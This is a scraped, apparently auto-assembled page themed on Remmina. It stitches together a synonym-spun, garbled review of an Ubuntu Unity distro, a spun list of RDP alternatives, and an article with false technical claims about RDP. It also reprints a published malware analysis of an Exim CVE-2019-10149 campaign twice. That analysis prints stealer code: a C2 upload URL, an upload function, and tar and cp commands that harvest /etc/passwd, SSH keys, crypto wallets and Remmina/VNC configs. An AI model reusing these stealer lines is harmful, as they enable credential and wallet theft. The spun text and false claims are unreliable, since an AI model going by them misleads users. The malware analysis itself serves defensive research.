Remmina – A Feature Rich Remote Desktop Sharing Tool for Linux – remmina | remmina

Perhaps one of the best absent Linux desktop environments is Ubuntu Unity Desktop, developed by Ubuntu’s ancestor company, Canonical. It was either admired or hated by users contrarily admired to the awfully accepted Ubuntu Linux OS.

But now that it has been replaced by GNOME 3 as Ubuntu’s absence desktop environment. An baby cottage industry of sorts has fabricated a scattering of appearances and disappearances with backup Unity integrations.

The Unity desktop was a abolitionist change from added adequate desktop offerings. Its vertical console was anchored to the larboard awning edge. It alien a absolutely altered graphical user interface at a time back the added accepted GNOME 3 desktop was ability its own set of architecture changes.

Canonical alien Unity some 10 years ago. Afterwards Ubuntu 18.04 LTS was appear in aboriginal 2018, the developer alone Unity 7 in favor of the GNOME 3 desktop. That was mostly due to baffling abstruse issues in accepting the planned Unity 8 to run with the Mir affectation server with the planned backup of the X Window Arrangement with Wayland for Ubuntu.

Unity 8 was abutting on Canonical’s development lath for use in its planned “unifying” adaptable buzz and book projects. Those affairs went abroad as well. But the Unity 7 desktop did not absolutely go away.

That brings us to this week’s Linux distro analysis of Ubuntu Unity Distro 20.04, developed by Rudra Saraswat.

The accepted Unity 8 Project by the absolute UBPorts association has connected to advance the technology, giving the alone desktop new life. Unity 8 additionally lives on in Ubuntu Touch for adaptable accessories by addition developer, like the PinePhone.

The Unity desktop additionally lives on as a standalone desktop you can install from repositories. But you will not acquisition added Linux OSes appliance the Unity desktop, at atomic by boilerplate communities.

Until now, that is. Unity Desktop lovers accept a few options to already afresh appetite the Unity acquaintance on a reliable and abiding Ubuntu Linux base.

Over the aftermost year or so, a few absolute software developers cobbled calm Ubuntu remix-style releases active Unity 7. You can acquisition traces of these in chase results. But mostly what you acquisition are shuttered websites or alone releases.

I spent several hours combing through Internet searches for a aces candidate. The few with abeyant that I begin were difficult to install or were not yet out of alpha or beta development.

Server-List-To-Connect-TO – Ubuntu Free – remmina | remmina

Why did I bother looking? It was mostly curiosity. I additionally accustomed abundant clairvoyant requests for Unity desktop options and a few notices about new Unity-based distros actuality released.

Most of these options are not yet accessible for prime time. Others appear with aggravating baggage.

Several Unity Remix downloads appropriate fees in adjustment to download. One or two led me to a download armpit that asked for a exceptional advancement to download the assorted files actuality offered for installation.

After all of my research, I begin a potentially adequate option, Ubuntu Unity Desktop, with the latest adaptation appear on May 28, 2020.

If you absence the Unity desktop or are analytical about why it was so loved, apprehend on to apprentice how able-bodied this Unity-driven Linux distro performs.

I was not an ardent fan of Ubuntu’s Unity desktop back it aboriginal arrived. That was one of the capital credibility active me to addition option. But Ubuntu Unity Distro offers a activating and advantageous desktop that is a lot added adequate to my accepted UI preferences.

Keep in apperception that admitting its name, developer Saraswat’s conception is not clearly allotment of the Ubuntu ancestors of Linux distributions. At atomic not yet, anyway.

GNOME 3 has appear a continued way appear authoritative an adequate desktop environment. It is advised by abounding users to be one of the best desktops available.

As Ubuntu’s absence desktop, the actualization is tweaked abundantly to accord it abundant of the acidity of what was Ubuntu’s Unity 7.

That attending and feel you get with Ubuntu’s absence desktop carries over to the Unity 7 acquaintance Saraswat’s Ubuntu Unity Distro provides.

One of the best attributes of Unity 7 is its keyboard adjustment strategy. You can cross through aloof about every believable activity afterwards demography your easily off the keyboard.

Remmina for Linux – Free Download – Zwodnik – remmina | remmina

Say goodbye to the mouse. For keyboard jockeys, the abrasion arrow is carefully optional.

The aperture awning of this Unity distro is not a acceptable affectation archetypal of abounding added distros. Instead, you see a ample window that lists the keyboard shortcuts. Print it out and accumulate it at eye akin for accessible reference.

The Ubuntu 20.04 LTS “Focal Fossa” abject is solid. The Unity 7 tailored to this Ubuntu Unity distro is a auspicious approach. It does not amount if you adopted Unity over GNOME 3. This distro aloof works out of the box.

Go to Settings / Actualization to accredit the basic workspaces feature. That adds a switcher applet to the vertical console on the larboard bend of the screen.

An Alpha 1 body of Ubuntu Unity 20.10, aka Groovy Gorilla, is now accessible for download here. Or, you can download MEGA for Business here.

What you get is not a carbon archetype of Unity 7 as it was in Ubuntu. This developer has fabricated some actual able improvements.

For instance, the Plymouth Boot Awning has the new Ubuntu Unity branding displayed. LightDM replaced GDM3. Addition change is swapping Nemo as the absence File Manager to alter Nautilus.

Plus, the Global Card with the aggregate of the Head-Up Affectation (HUD) replaced the accepted appliance card arrangement with a searchable interface. You additionally accept new absence wallpaper and abounding new wallpaper options — and so abundant added adequate being to analysis out.

The Global Card with the aggregate of the Head-Up Affectation is one of the best accepted appearance in the Unity 7 desktop.

Use Remmina (remote desktop client) from Linux to log-in Raspberry Pi xrdp server – remmina | remmina

Here is a sampling:

LibreOffice, Firefox, Geary and Thunderbird email clients, Cheese, Remmina Remote Desktop Client, Rhythmbox Music Player, Shotwell Photo Manager, Synaptic Package Manager, and Transmission BitTorrent client.

Add to this account the Unity Tweak Tool and Linux atom 5.4.0-37.

I accept been tempted to alarm this absolution a remix. That is, afterwards all, what it basically is. But the developer with this V4 absolution afflicted the distro’s name from Unubuntu to Ubuntu Unity in the ISO.

So if you chase for Unity 7-based distros and appear aloft an Unubuntu appellation for download, you accept the beforehand absolution afterwards the changes now accessible in V4.

The Ubuntu Unity Distro is an absorbing operating system. It blends new being with old. It has a avant-garde yet still accustomed acidity to it.

RDP Services:- Best RDP Alternatives in 2021

What are the best RDP Alternatives?

As we've referenced, RDP associations by and large require a Windows component, and keeping in mind that outsider RDP servers like xrdp do exist for stages like Linux, these are for the most part sub-par compared to other distant association instruments like VNC.

What would it be a good idea for you to search for in an option in contrast to RDP?

We inspected the market for distant work area programming like RDP and dissected the choices dependent on the accompanying measures:

A service that can connect to endpoints running any operating system

Systems that are suitable for use by managed service providers

Credentials sharing and security for team use

A system for consented access in the case of user-owned devices

Activity logging to monitor technician actions

A free trial for cost-free assessment or a money-back guarantee

A valuable service that is worth the price charged

Some elective free distant work area instruments, just as paid choices, utilize different conventions to view and control a far off PC or server. A determination of probably the best elective instruments for far off associations on all significant stages are:

1. SolarWinds Damewar offers remote help and control apparatuses to big business support groups, both in-house and MSPs. It's cloud-based, however you can introduce a nearby form to on location Windows PCs and servers. It offers multifaceted verification., multi-stage support and incorporates with SolarWinds Help Desk arrangements. There is a 14-day free preliminary.

2. ISL Online is a cloud-based distant work area and backing device for a very long time, with on location establishment conceivable. ISL Online permits you to set up secure RDP associations between your PC and a far off work area without undermining your organization by making changes to your firewall or by utilizing a VPN. 15-day free preliminary.

3. ManageEngine Remote Access Plus is one more MSP top pick with both cloud-based and in-house control choices and backing for Linux, Windows, and macOS gadgets.

4. RemotePC gives scrambled far off work area admittance to Windows and macOS, with a free arrangement accessible for single PCs.

5. TeamViewer is a free distant work area and backing device for purchasers, with paid designs for big business clients and backing for all major working frameworks.

6. Chrome Remote Desktop is a speedy, lightweight, and free distant work area arrangement that you can use from inside the Google Chrome program on significant stages.

7. Remmina is an open-source far off work area arrangement, permitting you to interface utilizing either RDP or VNC, contingent upon your prerequisites. It upholds significant Linux working frameworks and deals with implanted stages like the Raspberry Pi.

Using RDP, VNC or another remote desktop protocol

It doesn't make any difference whether you use RDP, VNC, or one more distant work area convention to interface with a far off PC. A consistent encounter is the thing that is important, and for most Windows clients, utilizing RDP with the Windows Remote Desktop Connection apparatus will offer the easiest and smoothest experience for remote working.

That doesn't mean it's fundamentally the most ideal choice. Other free distant work area devices like TeamViewer are not difficult to introduce and utilize, while SolarWinds Dameware is incredible for big business clients, particularly for a considerable length of time.

Original Post from Security Affairs Author: Pierluigi Paganini

Malware researchers at Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue.

Introduction

Figure 1: Exposed EXIM server in Italy (Reference: ZoomEye)

In the past days, a really important issue has been disclosed to the public: “Return of the WiZard” vulnerability (ref. EW N030619, CVE-2019-10149). Such vulnerability affected a wide range of Exim servers, one of the main email server technologies, extremely diffused all around the globe and in Italy too. 

Recently, cyber-criminals groups abused this vulnerability to compromise exposed Exim mail server in the wild. During this time, Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue, for instance the SSH reverse shell first spotted by Magni R. Sigurdsson (Security Researcher), which abuses ToR network to distribute its payload, or also the 9th June wave which tried to download a particular Linux agent. Yoroi-Cybaze ZLab analyzed this malware threat.

Figure 2: Tweet about first attack wave on Exim server

Technical Analysis

Exim is a message transfer agent (MTA) developed at the University of Cambridge for Unix systems connected to the Internet. It was designed on the assumption that it would be run on hosts that are permanently connected to the Internet. Thanks to the “Return of the WiZard” vulnerability, a malformed email sent to Exim servers allows attackers to execute code under the Exim process access level, root on most servers. The entire infection chain begins with an SMTP dialog containing a specifically crafted “RCPT_TO” field.

For instance:

Figure 3: Piece of exploit used to compromise vulnerable Exim server (Reference: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)

At this point, the vulnerable Exim Server locally executes the crafted part.

Table 1: Information about sh script

Figure 4: Initial SH file detection

The SH file is not merely a dropper of another stage of the malware. It retrieves information about the infected machine, starting from the hostname and ending into the bitcoin wallets and system configurations, making it look like a quite complete stealer too. In this section we deepen all the features of this sample.

#!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0

HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php

NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V

Snippet 1: Declarations of global variables and IP of the C2

First of all, the script set different variables visible at all child processes thanks to “export” command. An interesting variable is “UPLOAD_URL” containing a first remote location “hxxps://85[.25.84.99/up[.php” part of the attacker infrastructure. The C2 is hosted by a German Managed Cloud Service Provider ️(PlusServer GmbH).

Second interesting part of the script is the function “snd()” defined follow.

snd () { sh -c “UPLOAD_FILE=”$1” UPLOAD_NAME=”$(hostname).tbz2” UPLOAD_URL=$UPLOAD_URL atd &”; }

Snippet 2: “snd()” function used to upload stolen information

This line of the script is one of the most important of all the infection chain. It launches a shell command with three exported variables “UPLOAD_FILE”, “UPLOAD_NAME”, “UPLOAD_URL” and then the “atd” file is executed. It is described in the section “The payload”. Instead, the final part of the script is:

Snippet 3: Piece of sh script utilized to grab all victim machine

In the “#EXIM” section the script gather the following information:  system version, ip, iptables status, ip6tables status. However, the “#EXIM” label is misleading because this piece of code refers only to information about the machine network configuration and no EXIM configuration is retrieved. After this, the script continues to gather other information like:

Name of the host

Operating system name

Date in UTC and CEST format

Server uptime

Summary of every user logged into a computer

User ID

Running process

Information about memory

Info about CPU

IPv4

Disk Space

Message contained in Kernel buffer

Filesystem structure

All current environment variables

All peripherals and PCI bus

All USB bus

State of established connection

Information about routing tables

kernel modules

Information about CPU architecture

In the section labeled “#copy stuff from /etc?”, the script steals all the files stored in /etc/ path. Its loot is stored on “$main_dir/root/sysinfo/etc” where $main_dir is ��/var/tmp”. It contains a copy of the whole Apache and Nginx configuration folders, and the system users and groups.

# copy stuff from /etc?

if [ $NOETC –eq 0 ]; then

mkdir $main_dir/root/sysinfo/etc

cd $main_dir/root/sysinfo/etc

cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null

cd –

fi

Snippet 4: Copy of all files contained in /etc path

In addition, the following piece of code shows the script snippet able to steal cryptocoin wallets and to pillage other interesting files. For instance user’s ssh configs and configuration files of remote management tools, like Remmina, Rdesk and VNC potentially enabling further network compromise. Moreover, it gathers DB client configuration files for DbShell and Redis, along with user command history too.

cd $HOME && tar cf $main_dir/root/root.tar .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null

cd $main_dir/root/

Snippet 5: Grab of all information on ssh, remmina, vnc, redis and rdesk configuration files.

Finally, all these information are compressed, sent to the C2 using the previously mentioned “snd()” function and then removed from the machine. The last lines of the script downloads another piece of malware: an ELF32 executable hosted on the same server at  “hxxp://173[.212.214[.137/se”. It  is the “atd” file referenced in the “snd()” function.

The ELF Uploader

Table 2: Information about se (ELF file packed with UPX)

This sample was compressed with the standard UPX compressor. The unpacked payload is:

Hash b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a Threat ELF Uploader unpacked Brief Description ELF Uploader unpacked Ssdeep 49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy

Table 3: Information about se (ELF file Unpacked)

Analyzing it, we found the malware tries to find three environment variables: “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL”. All those have been declared in the “snd()” function and are used as parameters for the further execution, suggesting this piece of code may be a custom tool prepared by the attacker.

Figure 5: Evidence of “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL” functions

If the three parameters exist, then the malware contacts the remote destination in order to upload all the data through a series of POST request to the “/up.php” resource.  As previously mentioned, the three parameters are read as environment variable in the bash command line. So, once loaded the required parameters, we are able to  correctly debug the malware. In the figure above, we reported how the malware retrieves one of the defined parameters, the “/var/tmp/temp3754r97y2” folder, which contains the loot gathered by the Bash Stealer. Indeed, Figure 12 shows the routine used by the malware to contact the C2 and it is visible in clear in the address pointed by the ESI register.

Figure 6: Read parameter routine

Figure 7: Read C2 address routine

Conclusion

This attack wave shows how  simple can be for an attacker to run a widespread attacks with customized malware, threatening all the unpatched Exim services exposed all around the Internet. In this analysis, we encountered an effective information stealer able to easily gather sensitive information about the compromised system. These information could also enable the crooks behind the campaign to further escalate the attack within victims and victim partners networks.

Anyway, this case represents only one possible attack scenario abusing the “Return of the WiZard” vulnerability: cryptominers, botnets or also ransomwares could also leverage this weakness, along with APT groups. So, the Yoroi-Cybaze researchers recommend to update Exim servers in order to avoid the risk of other attack waves.

Technical details, including IoCs and Yara Rules, are available in the analysis published in the Yoroi blog.

10 Reasons Why People Love Linux Rdp Client | linux rdp client

Linux Remote Desktop Protocol (RDP) is an open standard that enables a computer to run software applications over the network. A user can access a host of remote desktop software programs on his or her computer using RDP. The remote desktop software programs that can be accessed over RDP include web browsers, email programs, office suites, spreadsheets, video players and so much more.

There are many reasons for which you can want to access a remote desktop program over RDP. First of all, if you work at home and you are tired of working in front of the computer while being logged in to your workstation, you may want to use remote desktop software applications. This is one great way for you to get some extra work done. You can also access a web browser on your Linux server over RDP, since this is more secure than browsing the web over the public network.

If you are going to use a Linux server for running remote desktop applications, you will need to have a Linux RDP client installed on your computer. This is because you won't be able to access your remote desktop software programs from a non-RDP operating system, as RDP is only accessible through your Linux server.

The best software to use for accessing your remote desktop software programs is the OpenRDP protocol. This is an open source protocol that has been designed by several software companies like Novell, Canonical and Microsoft Corporation. It is easy to use and is available for Linux and BSD servers. There are several versions of this protocol that can be used to access your remote desktop software programs. The OpenRDP protocol has an official version that is maintained by the Linux Foundation and another one that is maintained by the Internet community.

The OpenRDP protocol is easy to use because it supports most common features of web browsers and it allows the software applications to be run over the internet instead of being downloaded on the clients. The other major advantage of using this open source protocol is that the remote desktop software programs run quickly and effectively. Most software programs run in a fraction of a second after they are installed, so you can be able to access your remote desktop software programs on your Linux server in no time at all.

So you see, even if you use your Linux server for hosting the RDP protocol, it is still easy to use remote desktop software applications. Because RDP is an open standard that is supported by most operating systems, most users can access their remote desktop applications via the internet from anywhere in the world. This means that you can access the remote desktop software applications from a hotel room in Nepal, a farm in India or anywhere else around the globe. If you decide to visit India, you can connect with your Linux RDP client and see your remote desktop software programs without any problems.

Original Post from Security Affairs Author: Pierluigi Paganini

Malware researchers at Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue.

Introduction

Figure 1: Exposed EXIM server in Italy (Reference: ZoomEye)

In the past days, a really important issue has been disclosed to the public: “Return of the WiZard” vulnerability (ref. EW N030619, CVE-2019-10149). Such vulnerability affected a wide range of Exim servers, one of the main email server technologies, extremely diffused all around the globe and in Italy too. 

Recently, cyber-criminals groups abused this vulnerability to compromise exposed Exim mail server in the wild. During this time, Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue, for instance the SSH reverse shell first spotted by Magni R. Sigurdsson (Security Researcher), which abuses ToR network to distribute its payload, or also the 9th June wave which tried to download a particular Linux agent. Yoroi-Cybaze ZLab analyzed this malware threat.

Figure 2: Tweet about first attack wave on Exim server

Technical Analysis

Exim is a message transfer agent (MTA) developed at the University of Cambridge for Unix systems connected to the Internet. It was designed on the assumption that it would be run on hosts that are permanently connected to the Internet. Thanks to the “Return of the WiZard” vulnerability, a malformed email sent to Exim servers allows attackers to execute code under the Exim process access level, root on most servers. The entire infection chain begins with an SMTP dialog containing a specifically crafted “RCPT_TO” field.

For instance:

Figure 3: Piece of exploit used to compromise vulnerable Exim server (Reference: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)

At this point, the vulnerable Exim Server locally executes the crafted part.

The Bash Stealer

Table 1: Information about sh script

Figure 4: Initial SH file detection

The SH file is not merely a dropper of another stage of the malware. It retrieves information about the infected machine, starting from the hostname and ending into the bitcoin wallets and system configurations, making it look like a quite complete stealer too. In this section we deepen all the features of this sample.

#!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0

HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php

NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V

Snippet 1: Declarations of global variables and IP of the C2

First of all, the script set different variables visible at all child processes thanks to “export” command. An interesting variable is “UPLOAD_URL” containing a first remote location “hxxps://85[.25.84.99/up[.php” part of the attacker infrastructure. The C2 is hosted by a German Managed Cloud Service Provider ️(PlusServer GmbH).

Second interesting part of the script is the function “snd()” defined follow.

snd () { sh -c “UPLOAD_FILE=”$1” UPLOAD_NAME=”$(hostname).tbz2” UPLOAD_URL=$UPLOAD_URL atd &”; }

Snippet 2: “snd()” function used to upload stolen information

This line of the script is one of the most important of all the infection chain. It launches a shell command with three exported variables “UPLOAD_FILE”, “UPLOAD_NAME”, “UPLOAD_URL” and then the “atd” file is executed. It is described in the section “The payload”. Instead, the final part of the script is:

# EXIM

Snippet 3: Piece of sh script utilized to grab all victim machine

In the “#EXIM” section the script gather the following information:  system version, ip, iptables status, ip6tables status. However, the “#EXIM” label is misleading because this piece of code refers only to information about the machine network configuration and no EXIM configuration is retrieved. After this, the script continues to gather other information like:

Name of the host

Operating system name

Date in UTC and CEST format

Server uptime

Summary of every user logged into a computer

User ID

Running process

Information about memory

Info about CPU

IPv4

Disk Space

Message contained in Kernel buffer

Filesystem structure

All current environment variables

All peripherals and PCI bus

All USB bus

State of established connection

Information about routing tables

kernel modules

Information about CPU architecture

In the section labeled “#copy stuff from /etc?”, the script steals all the files stored in /etc/ path. Its loot is stored on “$main_dir/root/sysinfo/etc” where $main_dir is “/var/tmp”. It contains a copy of the whole Apache and Nginx configuration folders, and the system users and groups.

# copy stuff from /etc?

if [ $NOETC –eq 0 ]; then

mkdir $main_dir/root/sysinfo/etc

cd $main_dir/root/sysinfo/etc

cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null

cd –

fi

Snippet 4: Copy of all files contained in /etc path

In addition, the following piece of code shows the script snippet able to steal cryptocoin wallets and to pillage other interesting files. For instance user’s ssh configs and configuration files of remote management tools, like Remmina, Rdesk and VNC potentially enabling further network compromise. Moreover, it gathers DB client configuration files for DbShell and Redis, along with user command history too.

cd $HOME && tar cf $main_dir/root/root.tar .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null

cd $main_dir/root/

Snippet 5: Grab of all information on ssh, remmina, vnc, redis and rdesk configuration files.

Finally, all these information are compressed, sent to the C2 using the previously mentioned “snd()” function and then removed from the machine. The last lines of the script downloads another piece of malware: an ELF32 executable hosted on the same server at  “hxxp://173[.212.214[.137/se”. It  is the “atd” file referenced in the “snd()” function.

The ELF Uploader

Hash d8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c Threat ELF Uploader Brief Description Malware downloaded after exim exploitation packed with UPX compressor Ssdeep 12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk

Table 2: Information about se (ELF file packed with UPX)

This sample was compressed with the standard UPX compressor. The unpacked payload is:

Hash b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a Threat ELF Uploader unpacked Brief Description ELF Uploader unpacked Ssdeep 49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy

Table 3: Information about se (ELF file Unpacked)

Analyzing it, we found the malware tries to find three environment variables: “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL”. All those have been declared in the “snd()” function and are used as parameters for the further execution, suggesting this piece of code may be a custom tool prepared by the attacker.

Figure 5: Evidence of “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL” functions

If the three parameters exist, then the malware contacts the remote destination in order to upload all the data through a series of POST request to the “/up.php” resource.  As previously mentioned, the three parameters are read as environment variable in the bash command line. So, once loaded the required parameters, we are able to  correctly debug the malware. In the figure above, we reported how the malware retrieves one of the defined parameters, the “/var/tmp/temp3754r97y2” folder, which contains the loot gathered by the Bash Stealer. Indeed, Figure 12 shows the routine used by the malware to contact the C2 and it is visible in clear in the address pointed by the ESI register.

Conclusion

This attack wave shows how  simple can be for an attacker to run a widespread attacks with customized malware, threatening all the unpatched Exim services exposed all around the Internet. In this analysis, we encountered an effective information stealer able to easily gather sensitive information about the compromised system. These information could also enable the crooks behind the campaign to further escalate the attack within victims and victim partners networks.

Anyway, this case represents only one possible attack scenario abusing the “Return of the WiZard” vulnerability: cryptominers, botnets or also ransomwares could also leverage this weakness, along with APT groups. So, the Yoroi-Cybaze researchers recommend to update Exim servers in order to avoid the risk of other attack waves.

Technical details, including IoCs and Yara Rules, are available in the analysis published in the Yoroi blog.
